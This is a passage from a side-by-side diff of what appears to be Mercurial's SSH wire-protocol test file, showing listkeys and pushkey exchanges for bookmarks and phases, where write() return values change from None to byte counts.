1465 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1465 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1466 o> readline() -> 2:
1466 o> readline() -> 2:
1467 o> 1\n
1467 o> 1\n
1468 o> readline() -> 1:
1468 o> readline() -> 1:
1469 o> \n
1469 o> \n
1470 sending listkeys command
1470 sending listkeys command
1471 i> write(9) -> None:
1471 i> write(9) -> 9:
1472 i> listkeys\n
1472 i> listkeys\n
1473 i> write(12) -> None:
1473 i> write(12) -> 12:
1474 i> namespace 9\n
1474 i> namespace 9\n
1475 i> write(9) -> None: bookmarks
1475 i> write(9) -> 9: bookmarks
1476 i> flush() -> None
1476 i> flush() -> None
1477 o> bufferedreadline() -> 3:
1477 o> bufferedreadline() -> 3:
1478 o> 46\n
1478 o> 46\n
1479 o> bufferedread(46) -> 46: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1479 o> bufferedread(46) -> 46: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1480 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1480 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1481
1481
1482 testing ssh2
1482 testing ssh2
1483 creating ssh peer from handshake results
1483 creating ssh peer from handshake results
1484 i> write(171) -> None:
1484 i> write(171) -> 171:
1485 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1485 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1486 i> hello\n
1486 i> hello\n
1487 i> between\n
1487 i> between\n
1488 i> pairs 81\n
1488 i> pairs 81\n
1489 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1489 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1490 i> flush() -> None
1490 i> flush() -> None
1491 o> readline() -> 62:
1491 o> readline() -> 62:
1492 o> upgraded * exp-ssh-v2-0001\n (glob)
1492 o> upgraded * exp-ssh-v2-0001\n (glob)
1493 o> readline() -> 4:
1493 o> readline() -> 4:
1494 o> 383\n
1494 o> 383\n
1495 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1495 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1496 o> read(1) -> 1:
1496 o> read(1) -> 1:
1497 o> \n
1497 o> \n
1498 sending listkeys command
1498 sending listkeys command
1499 i> write(9) -> None:
1499 i> write(9) -> 9:
1500 i> listkeys\n
1500 i> listkeys\n
1501 i> write(12) -> None:
1501 i> write(12) -> 12:
1502 i> namespace 9\n
1502 i> namespace 9\n
1503 i> write(9) -> None: bookmarks
1503 i> write(9) -> 9: bookmarks
1504 i> flush() -> None
1504 i> flush() -> None
1505 o> bufferedreadline() -> 3:
1505 o> bufferedreadline() -> 3:
1506 o> 46\n
1506 o> 46\n
1507 o> bufferedread(46) -> 46: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1507 o> bufferedread(46) -> 46: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1508 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1508 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1509
1509
1510 With multiple bookmarks set
1510 With multiple bookmarks set
1511
1511
1512 $ hg book -r 1 bookB
1512 $ hg book -r 1 bookB
1513 $ debugwireproto << EOF
1513 $ debugwireproto << EOF
1514 > command listkeys
1514 > command listkeys
1515 > namespace bookmarks
1515 > namespace bookmarks
1516 > EOF
1516 > EOF
1517 testing ssh1
1517 testing ssh1
1518 creating ssh peer from handshake results
1518 creating ssh peer from handshake results
1519 i> write(104) -> None:
1519 i> write(104) -> 104:
1520 i> hello\n
1520 i> hello\n
1521 i> between\n
1521 i> between\n
1522 i> pairs 81\n
1522 i> pairs 81\n
1523 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1523 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1524 i> flush() -> None
1524 i> flush() -> None
1525 o> readline() -> 4:
1525 o> readline() -> 4:
1526 o> 384\n
1526 o> 384\n
1527 o> readline() -> 384:
1527 o> readline() -> 384:
1528 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1528 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1529 o> readline() -> 2:
1529 o> readline() -> 2:
1530 o> 1\n
1530 o> 1\n
1531 o> readline() -> 1:
1531 o> readline() -> 1:
1532 o> \n
1532 o> \n
1533 sending listkeys command
1533 sending listkeys command
1534 i> write(9) -> None:
1534 i> write(9) -> 9:
1535 i> listkeys\n
1535 i> listkeys\n
1536 i> write(12) -> None:
1536 i> write(12) -> 12:
1537 i> namespace 9\n
1537 i> namespace 9\n
1538 i> write(9) -> None: bookmarks
1538 i> write(9) -> 9: bookmarks
1539 i> flush() -> None
1539 i> flush() -> None
1540 o> bufferedreadline() -> 3:
1540 o> bufferedreadline() -> 3:
1541 o> 93\n
1541 o> 93\n
1542 o> bufferedread(93) -> 93:
1542 o> bufferedread(93) -> 93:
1543 o> bookA 68986213bd4485ea51533535e3fc9e78007a711f\n
1543 o> bookA 68986213bd4485ea51533535e3fc9e78007a711f\n
1544 o> bookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1544 o> bookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1545 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f\nbookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1545 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f\nbookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1546
1546
1547 testing ssh2
1547 testing ssh2
1548 creating ssh peer from handshake results
1548 creating ssh peer from handshake results
1549 i> write(171) -> None:
1549 i> write(171) -> 171:
1550 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1550 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1551 i> hello\n
1551 i> hello\n
1552 i> between\n
1552 i> between\n
1553 i> pairs 81\n
1553 i> pairs 81\n
1554 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1554 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1555 i> flush() -> None
1555 i> flush() -> None
1556 o> readline() -> 62:
1556 o> readline() -> 62:
1557 o> upgraded * exp-ssh-v2-0001\n (glob)
1557 o> upgraded * exp-ssh-v2-0001\n (glob)
1558 o> readline() -> 4:
1558 o> readline() -> 4:
1559 o> 383\n
1559 o> 383\n
1560 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1560 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1561 o> read(1) -> 1:
1561 o> read(1) -> 1:
1562 o> \n
1562 o> \n
1563 sending listkeys command
1563 sending listkeys command
1564 i> write(9) -> None:
1564 i> write(9) -> 9:
1565 i> listkeys\n
1565 i> listkeys\n
1566 i> write(12) -> None:
1566 i> write(12) -> 12:
1567 i> namespace 9\n
1567 i> namespace 9\n
1568 i> write(9) -> None: bookmarks
1568 i> write(9) -> 9: bookmarks
1569 i> flush() -> None
1569 i> flush() -> None
1570 o> bufferedreadline() -> 3:
1570 o> bufferedreadline() -> 3:
1571 o> 93\n
1571 o> 93\n
1572 o> bufferedread(93) -> 93:
1572 o> bufferedread(93) -> 93:
1573 o> bookA 68986213bd4485ea51533535e3fc9e78007a711f\n
1573 o> bookA 68986213bd4485ea51533535e3fc9e78007a711f\n
1574 o> bookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1574 o> bookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1575 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f\nbookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1575 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f\nbookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1576
1576
1577 Test pushkey for bookmarks
1577 Test pushkey for bookmarks
1578
1578
1579 $ debugwireproto << EOF
1579 $ debugwireproto << EOF
1580 > command pushkey
1580 > command pushkey
1581 > namespace bookmarks
1581 > namespace bookmarks
1582 > key remote
1582 > key remote
1583 > old
1583 > old
1584 > new 68986213bd4485ea51533535e3fc9e78007a711f
1584 > new 68986213bd4485ea51533535e3fc9e78007a711f
1585 > EOF
1585 > EOF
1586 testing ssh1
1586 testing ssh1
1587 creating ssh peer from handshake results
1587 creating ssh peer from handshake results
1588 i> write(104) -> None:
1588 i> write(104) -> 104:
1589 i> hello\n
1589 i> hello\n
1590 i> between\n
1590 i> between\n
1591 i> pairs 81\n
1591 i> pairs 81\n
1592 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1592 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1593 i> flush() -> None
1593 i> flush() -> None
1594 o> readline() -> 4:
1594 o> readline() -> 4:
1595 o> 384\n
1595 o> 384\n
1596 o> readline() -> 384:
1596 o> readline() -> 384:
1597 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1597 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1598 o> readline() -> 2:
1598 o> readline() -> 2:
1599 o> 1\n
1599 o> 1\n
1600 o> readline() -> 1:
1600 o> readline() -> 1:
1601 o> \n
1601 o> \n
1602 sending pushkey command
1602 sending pushkey command
1603 i> write(8) -> None:
1603 i> write(8) -> 8:
1604 i> pushkey\n
1604 i> pushkey\n
1605 i> write(6) -> None:
1605 i> write(6) -> 6:
1606 i> key 6\n
1606 i> key 6\n
1607 i> write(6) -> None: remote
1607 i> write(6) -> 6: remote
1608 i> write(12) -> None:
1608 i> write(12) -> 12:
1609 i> namespace 9\n
1609 i> namespace 9\n
1610 i> write(9) -> None: bookmarks
1610 i> write(9) -> 9: bookmarks
1611 i> write(7) -> None:
1611 i> write(7) -> 7:
1612 i> new 40\n
1612 i> new 40\n
1613 i> write(40) -> None: 68986213bd4485ea51533535e3fc9e78007a711f
1613 i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f
1614 i> write(6) -> None:
1614 i> write(6) -> 6:
1615 i> old 0\n
1615 i> old 0\n
1616 i> flush() -> None
1616 i> flush() -> None
1617 o> bufferedreadline() -> 2:
1617 o> bufferedreadline() -> 2:
1618 o> 2\n
1618 o> 2\n
1619 o> bufferedread(2) -> 2:
1619 o> bufferedread(2) -> 2:
1620 o> 1\n
1620 o> 1\n
1621 response: 1\n
1621 response: 1\n
1622
1622
1623 testing ssh2
1623 testing ssh2
1624 creating ssh peer from handshake results
1624 creating ssh peer from handshake results
1625 i> write(171) -> None:
1625 i> write(171) -> 171:
1626 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1626 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1627 i> hello\n
1627 i> hello\n
1628 i> between\n
1628 i> between\n
1629 i> pairs 81\n
1629 i> pairs 81\n
1630 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1630 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1631 i> flush() -> None
1631 i> flush() -> None
1632 o> readline() -> 62:
1632 o> readline() -> 62:
1633 o> upgraded * exp-ssh-v2-0001\n (glob)
1633 o> upgraded * exp-ssh-v2-0001\n (glob)
1634 o> readline() -> 4:
1634 o> readline() -> 4:
1635 o> 383\n
1635 o> 383\n
1636 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1636 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1637 o> read(1) -> 1:
1637 o> read(1) -> 1:
1638 o> \n
1638 o> \n
1639 sending pushkey command
1639 sending pushkey command
1640 i> write(8) -> None:
1640 i> write(8) -> 8:
1641 i> pushkey\n
1641 i> pushkey\n
1642 i> write(6) -> None:
1642 i> write(6) -> 6:
1643 i> key 6\n
1643 i> key 6\n
1644 i> write(6) -> None: remote
1644 i> write(6) -> 6: remote
1645 i> write(12) -> None:
1645 i> write(12) -> 12:
1646 i> namespace 9\n
1646 i> namespace 9\n
1647 i> write(9) -> None: bookmarks
1647 i> write(9) -> 9: bookmarks
1648 i> write(7) -> None:
1648 i> write(7) -> 7:
1649 i> new 40\n
1649 i> new 40\n
1650 i> write(40) -> None: 68986213bd4485ea51533535e3fc9e78007a711f
1650 i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f
1651 i> write(6) -> None:
1651 i> write(6) -> 6:
1652 i> old 0\n
1652 i> old 0\n
1653 i> flush() -> None
1653 i> flush() -> None
1654 o> bufferedreadline() -> 2:
1654 o> bufferedreadline() -> 2:
1655 o> 2\n
1655 o> 2\n
1656 o> bufferedread(2) -> 2:
1656 o> bufferedread(2) -> 2:
1657 o> 1\n
1657 o> 1\n
1658 response: 1\n
1658 response: 1\n
1659
1659
1660 $ hg bookmarks
1660 $ hg bookmarks
1661 bookA 0:68986213bd44
1661 bookA 0:68986213bd44
1662 bookB 1:1880f3755e2e
1662 bookB 1:1880f3755e2e
1663 remote 0:68986213bd44
1663 remote 0:68986213bd44
1664
1664
1665 $ cd ..
1665 $ cd ..
1666
1666
1667 Test listkeys for phases
1667 Test listkeys for phases
1668
1668
1669 $ hg init phasesrepo
1669 $ hg init phasesrepo
1670 $ cd phasesrepo
1670 $ cd phasesrepo
1671
1671
1672 Phases on empty repo
1672 Phases on empty repo
1673
1673
1674 $ debugwireproto << EOF
1674 $ debugwireproto << EOF
1675 > command listkeys
1675 > command listkeys
1676 > namespace phases
1676 > namespace phases
1677 > EOF
1677 > EOF
1678 testing ssh1
1678 testing ssh1
1679 creating ssh peer from handshake results
1679 creating ssh peer from handshake results
1680 i> write(104) -> None:
1680 i> write(104) -> 104:
1681 i> hello\n
1681 i> hello\n
1682 i> between\n
1682 i> between\n
1683 i> pairs 81\n
1683 i> pairs 81\n
1684 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1684 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1685 i> flush() -> None
1685 i> flush() -> None
1686 o> readline() -> 4:
1686 o> readline() -> 4:
1687 o> 384\n
1687 o> 384\n
1688 o> readline() -> 384:
1688 o> readline() -> 384:
1689 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1689 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1690 o> readline() -> 2:
1690 o> readline() -> 2:
1691 o> 1\n
1691 o> 1\n
1692 o> readline() -> 1:
1692 o> readline() -> 1:
1693 o> \n
1693 o> \n
1694 sending listkeys command
1694 sending listkeys command
1695 i> write(9) -> None:
1695 i> write(9) -> 9:
1696 i> listkeys\n
1696 i> listkeys\n
1697 i> write(12) -> None:
1697 i> write(12) -> 12:
1698 i> namespace 6\n
1698 i> namespace 6\n
1699 i> write(6) -> None: phases
1699 i> write(6) -> 6: phases
1700 i> flush() -> None
1700 i> flush() -> None
1701 o> bufferedreadline() -> 3:
1701 o> bufferedreadline() -> 3:
1702 o> 15\n
1702 o> 15\n
1703 o> bufferedread(15) -> 15: publishing True
1703 o> bufferedread(15) -> 15: publishing True
1704 response: publishing True
1704 response: publishing True
1705
1705
1706 testing ssh2
1706 testing ssh2
1707 creating ssh peer from handshake results
1707 creating ssh peer from handshake results
1708 i> write(171) -> None:
1708 i> write(171) -> 171:
1709 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1709 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1710 i> hello\n
1710 i> hello\n
1711 i> between\n
1711 i> between\n
1712 i> pairs 81\n
1712 i> pairs 81\n
1713 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1713 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1714 i> flush() -> None
1714 i> flush() -> None
1715 o> readline() -> 62:
1715 o> readline() -> 62:
1716 o> upgraded * exp-ssh-v2-0001\n (glob)
1716 o> upgraded * exp-ssh-v2-0001\n (glob)
1717 o> readline() -> 4:
1717 o> readline() -> 4:
1718 o> 383\n
1718 o> 383\n
1719 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1719 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1720 o> read(1) -> 1:
1720 o> read(1) -> 1:
1721 o> \n
1721 o> \n
1722 sending listkeys command
1722 sending listkeys command
1723 i> write(9) -> None:
1723 i> write(9) -> 9:
1724 i> listkeys\n
1724 i> listkeys\n
1725 i> write(12) -> None:
1725 i> write(12) -> 12:
1726 i> namespace 6\n
1726 i> namespace 6\n
1727 i> write(6) -> None: phases
1727 i> write(6) -> 6: phases
1728 i> flush() -> None
1728 i> flush() -> None
1729 o> bufferedreadline() -> 3:
1729 o> bufferedreadline() -> 3:
1730 o> 15\n
1730 o> 15\n
1731 o> bufferedread(15) -> 15: publishing True
1731 o> bufferedread(15) -> 15: publishing True
1732 response: publishing True
1732 response: publishing True
1733
1733
1734 Create some commits
1734 Create some commits
1735
1735
1736 $ echo 0 > foo
1736 $ echo 0 > foo
1737 $ hg add foo
1737 $ hg add foo
1738 $ hg -q commit -m initial
1738 $ hg -q commit -m initial
1739 $ hg phase --public
1739 $ hg phase --public
1740 $ echo 1 > foo
1740 $ echo 1 > foo
1741 $ hg commit -m 'head 1 commit 1'
1741 $ hg commit -m 'head 1 commit 1'
1742 $ echo 2 > foo
1742 $ echo 2 > foo
1743 $ hg commit -m 'head 1 commit 2'
1743 $ hg commit -m 'head 1 commit 2'
1744 $ hg -q up 0
1744 $ hg -q up 0
1745 $ echo 1a > foo
1745 $ echo 1a > foo
1746 $ hg commit -m 'head 2 commit 1'
1746 $ hg commit -m 'head 2 commit 1'
1747 created new head
1747 created new head
1748 $ echo 2a > foo
1748 $ echo 2a > foo
1749 $ hg commit -m 'head 2 commit 2'
1749 $ hg commit -m 'head 2 commit 2'
1750
1750
1751 Two draft heads
1751 Two draft heads
1752
1752
1753 $ debugwireproto << EOF
1753 $ debugwireproto << EOF
1754 > command listkeys
1754 > command listkeys
1755 > namespace phases
1755 > namespace phases
1756 > EOF
1756 > EOF
1757 testing ssh1
1757 testing ssh1
1758 creating ssh peer from handshake results
1758 creating ssh peer from handshake results
1759 i> write(104) -> None:
1759 i> write(104) -> 104:
1760 i> hello\n
1760 i> hello\n
1761 i> between\n
1761 i> between\n
1762 i> pairs 81\n
1762 i> pairs 81\n
1763 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1763 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1764 i> flush() -> None
1764 i> flush() -> None
1765 o> readline() -> 4:
1765 o> readline() -> 4:
1766 o> 384\n
1766 o> 384\n
1767 o> readline() -> 384:
1767 o> readline() -> 384:
1768 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1768 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1769 o> readline() -> 2:
1769 o> readline() -> 2:
1770 o> 1\n
1770 o> 1\n
1771 o> readline() -> 1:
1771 o> readline() -> 1:
1772 o> \n
1772 o> \n
1773 sending listkeys command
1773 sending listkeys command
1774 i> write(9) -> None:
1774 i> write(9) -> 9:
1775 i> listkeys\n
1775 i> listkeys\n
1776 i> write(12) -> None:
1776 i> write(12) -> 12:
1777 i> namespace 6\n
1777 i> namespace 6\n
1778 i> write(6) -> None: phases
1778 i> write(6) -> 6: phases
1779 i> flush() -> None
1779 i> flush() -> None
1780 o> bufferedreadline() -> 4:
1780 o> bufferedreadline() -> 4:
1781 o> 101\n
1781 o> 101\n
1782 o> bufferedread(101) -> 101:
1782 o> bufferedread(101) -> 101:
1783 o> 20b8a89289d80036e6c4e87c2083e3bea1586637 1\n
1783 o> 20b8a89289d80036e6c4e87c2083e3bea1586637 1\n
1784 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1784 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1785 o> publishing True
1785 o> publishing True
1786 response: 20b8a89289d80036e6c4e87c2083e3bea1586637 1\nc4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1786 response: 20b8a89289d80036e6c4e87c2083e3bea1586637 1\nc4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1787
1787
1788 testing ssh2
1788 testing ssh2
1789 creating ssh peer from handshake results
1789 creating ssh peer from handshake results
1790 i> write(171) -> None:
1790 i> write(171) -> 171:
1791 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1791 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1792 i> hello\n
1792 i> hello\n
1793 i> between\n
1793 i> between\n
1794 i> pairs 81\n
1794 i> pairs 81\n
1795 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1795 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1796 i> flush() -> None
1796 i> flush() -> None
1797 o> readline() -> 62:
1797 o> readline() -> 62:
1798 o> upgraded * exp-ssh-v2-0001\n (glob)
1798 o> upgraded * exp-ssh-v2-0001\n (glob)
1799 o> readline() -> 4:
1799 o> readline() -> 4:
1800 o> 383\n
1800 o> 383\n
1801 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1801 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1802 o> read(1) -> 1:
1802 o> read(1) -> 1:
1803 o> \n
1803 o> \n
1804 sending listkeys command
1804 sending listkeys command
1805 i> write(9) -> None:
1805 i> write(9) -> 9:
1806 i> listkeys\n
1806 i> listkeys\n
1807 i> write(12) -> None:
1807 i> write(12) -> 12:
1808 i> namespace 6\n
1808 i> namespace 6\n
1809 i> write(6) -> None: phases
1809 i> write(6) -> 6: phases
1810 i> flush() -> None
1810 i> flush() -> None
1811 o> bufferedreadline() -> 4:
1811 o> bufferedreadline() -> 4:
1812 o> 101\n
1812 o> 101\n
1813 o> bufferedread(101) -> 101:
1813 o> bufferedread(101) -> 101:
1814 o> 20b8a89289d80036e6c4e87c2083e3bea1586637 1\n
1814 o> 20b8a89289d80036e6c4e87c2083e3bea1586637 1\n
1815 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1815 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1816 o> publishing True
1816 o> publishing True
1817 response: 20b8a89289d80036e6c4e87c2083e3bea1586637 1\nc4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1817 response: 20b8a89289d80036e6c4e87c2083e3bea1586637 1\nc4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1818
1818
1819 Single draft head
1819 Single draft head
1820
1820
1821 $ hg phase --public -r 2
1821 $ hg phase --public -r 2
1822 $ debugwireproto << EOF
1822 $ debugwireproto << EOF
1823 > command listkeys
1823 > command listkeys
1824 > namespace phases
1824 > namespace phases
1825 > EOF
1825 > EOF
1826 testing ssh1
1826 testing ssh1
1827 creating ssh peer from handshake results
1827 creating ssh peer from handshake results
1828 i> write(104) -> None:
1828 i> write(104) -> 104:
1829 i> hello\n
1829 i> hello\n
1830 i> between\n
1830 i> between\n
1831 i> pairs 81\n
1831 i> pairs 81\n
1832 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1832 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1833 i> flush() -> None
1833 i> flush() -> None
1834 o> readline() -> 4:
1834 o> readline() -> 4:
1835 o> 384\n
1835 o> 384\n
1836 o> readline() -> 384:
1836 o> readline() -> 384:
1837 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1837 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1838 o> readline() -> 2:
1838 o> readline() -> 2:
1839 o> 1\n
1839 o> 1\n
1840 o> readline() -> 1:
1840 o> readline() -> 1:
1841 o> \n
1841 o> \n
1842 sending listkeys command
1842 sending listkeys command
1843 i> write(9) -> None:
1843 i> write(9) -> 9:
1844 i> listkeys\n
1844 i> listkeys\n
1845 i> write(12) -> None:
1845 i> write(12) -> 12:
1846 i> namespace 6\n
1846 i> namespace 6\n
1847 i> write(6) -> None: phases
1847 i> write(6) -> 6: phases
1848 i> flush() -> None
1848 i> flush() -> None
1849 o> bufferedreadline() -> 3:
1849 o> bufferedreadline() -> 3:
1850 o> 58\n
1850 o> 58\n
1851 o> bufferedread(58) -> 58:
1851 o> bufferedread(58) -> 58:
1852 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1852 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1853 o> publishing True
1853 o> publishing True
1854 response: c4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1854 response: c4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1855
1855
1856 testing ssh2
1856 testing ssh2
1857 creating ssh peer from handshake results
1857 creating ssh peer from handshake results
1858 i> write(171) -> None:
1858 i> write(171) -> 171:
1859 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1859 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1860 i> hello\n
1860 i> hello\n
1861 i> between\n
1861 i> between\n
1862 i> pairs 81\n
1862 i> pairs 81\n
1863 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1863 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1864 i> flush() -> None
1864 i> flush() -> None
1865 o> readline() -> 62:
1865 o> readline() -> 62:
1866 o> upgraded * exp-ssh-v2-0001\n (glob)
1866 o> upgraded * exp-ssh-v2-0001\n (glob)
1867 o> readline() -> 4:
1867 o> readline() -> 4:
1868 o> 383\n
1868 o> 383\n
1869 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1869 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1870 o> read(1) -> 1:
1870 o> read(1) -> 1:
1871 o> \n
1871 o> \n
1872 sending listkeys command
1872 sending listkeys command
1873 i> write(9) -> None:
1873 i> write(9) -> 9:
1874 i> listkeys\n
1874 i> listkeys\n
1875 i> write(12) -> None:
1875 i> write(12) -> 12:
1876 i> namespace 6\n
1876 i> namespace 6\n
1877 i> write(6) -> None: phases
1877 i> write(6) -> 6: phases
1878 i> flush() -> None
1878 i> flush() -> None
1879 o> bufferedreadline() -> 3:
1879 o> bufferedreadline() -> 3:
1880 o> 58\n
1880 o> 58\n
1881 o> bufferedread(58) -> 58:
1881 o> bufferedread(58) -> 58:
1882 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
